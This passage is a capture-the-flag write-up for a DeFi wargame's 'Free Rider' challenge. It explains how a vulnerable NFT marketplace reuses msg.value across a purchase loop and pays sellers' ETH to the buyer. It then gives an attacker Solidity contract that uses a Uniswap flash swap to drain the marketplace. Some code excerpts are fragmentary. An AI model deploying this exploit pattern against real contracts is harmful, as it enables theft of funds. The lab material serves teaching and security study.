the use of the global variable msg.value inside of a loop. The buyMany() function contains a loop that is used to buy several NFTs in a single transaction:
1 2 3 4 5 6
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant { for (uint256 i = 0; i < tokenIds.length; i++) { _buyOne(tokenIds[i]); } }
And in the _buyOne() function called by the buyMany() function, we find the check for the msg.value (line 74):
1 2
uint256 priceToPay = offers[tokenId]; require(msg.value >= priceToPay, "Amount paid is not enough");
But the value is checked for the price of a singular NFT (15 ETH) and not the total value needed (6 * 15 = 90 ETH). This allows the caller of the buyMany() function to re-use the ETH for every NFT purchase. So, in this example, we can buy the 6 NFTs by sending only 15 ETH as the msg.value to the transaction.
Second vulnerabilities:
the FreeRiderNFTMarketplace contract transfers the ETH to the owner of the NFT after transferring the NFT itself. In practice, this means that the address who buys the NFT gets transferred ETH by the FreeRiderNFTMarketplace contract, instead of transferring ETH to the contract:
1 2 3 4 5
// transfer from seller to buyer token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
Wse need to make an implementation that can execute a flash swap to: get some WETH, change that WETH for ETH, use that ETH to buy the NFTs, change back the ETH for WETH and, finally pay back the flash swap, plus the fee. All of this has to be done in a single transaction and we’d be good to go. Here’s an attacker contract that is capable of doing what we need.
// As interface for avoiding pragma mismatch. Also saves gas. interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; }
// 1. Do a flash swap to get WETH UNISWAP_PAIR.swap( _amount0, // amount0 => WETH 0, // amount1 => DVT address(this), // recipient of flash swap _data // passed to uniswapV2Call function that uniswapPair triggers on the recipient (this) ); }
// Function called by UniswapPair when making the flash swap function uniswapV2Call( address, uint256 _amount0, uint256, bytes calldata ) external { require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);
// 2. Get ETH by depositing WETH WETH.withdraw(_amount0);
// 5. Get WETH to pay back the flash swap WETH.deposit{value: _repayAmount}();
// 6. Pay back the flash swap with fee included WETH.transfer(address(UNISWAP_PAIR), _repayAmount);
// 7. Send NFT's to buyer for (uint256 i = 0; i < 6; i++) { NFT.safeTransferFrom(address(this), buyer, tokenIds[i]); }
// 8. Transfer ETH to attacker (bool ethSent, ) = attacker.call{value: address(this).balance}(""); require(nftsBought && ethSent); }
// Function to allow this contract to receive NFTs function onERC721Received( address, address, uint256, bytes memory ) external view returns (bytes4) { require(msg.sender == address(NFT) && tx.origin == attacker); return 0x150b7a02; //IERC721Receiver.onERC721Received.selector; } }
Our FreeRiderAttacker contract has a receive() function to make the contract able to receive the ETH of the payout and the ETH that we get when buying an NFT. It also has to implement the onERC721Received() function and return the corresponding selector to receive the NFTs of the marketplace.
Following the FreeRiderAttacker contract implementation, the attack goes like this:
1.We have an attack() function that executes a flash swap by calling UniswapV2Pair swap() function passing some arbitrary data (as explained in the documentation). This is done to get the 15 WETH:
1 2 3 4 5 6 7 8 9 10 11
function attack(uint256 _amount0) external { require(msg.sender == attacker); bytes memory _data = "1"; // 1. Do a flash swap to get WETH UNISWAP_PAIR.swap( _amount0, // amount0 => WETH 0, // amount1 => DVT address(this), // recipient of flash swap _data // passed to uniswapV2Call function ); }
2.After the attack() function is called, the UniswapV2Pair contract will call the uniswapV2Call() function of our attacker contract. So, inside that function we continue our attack. We deposit the WETH we just got from the flash swap to the WETH contract to get its equivalent in ETH:
1
WETH.withdraw(_amount0);
3.Use that obtained ETH to buy the NFTs of the marketplace. We only need 15 ETH to get all 6 NFTs out of it:
5.Deposit the calculated _repayAmount of ETH to the WETH9 contract, to get the amount of WETH needed to pay back the flash swap to the UniswapV2Pair contract:
1
WETH.deposit{value: _repayAmount}();
6.Transfer the WETH borrowed from flash swap back to UniswapV2Pair with fee included (so that the transaction won’t revert):
And that’s it. In the JS file, we would only need to deploy the contract with the correct parameters for the constructor and call the attack() function.
// Attacker balance = 120 ETH // NFT transfers = (6 NFTs * 15 ETH ) - 15 WETH of flash swap = 75 ETH // 45 ETH (Payout) + 75 ETH (NFT transfers) = 120 ETH console.log('Attacker ETH balance:', String(await ethers.provider.getBalance(attacker.address))) })
After that, we’ve done what we wanted. The buyer has the 6 NFTs he wanted, we got 120 ETH on our hands (starting with 0.5) and the marketplace is left with nothing.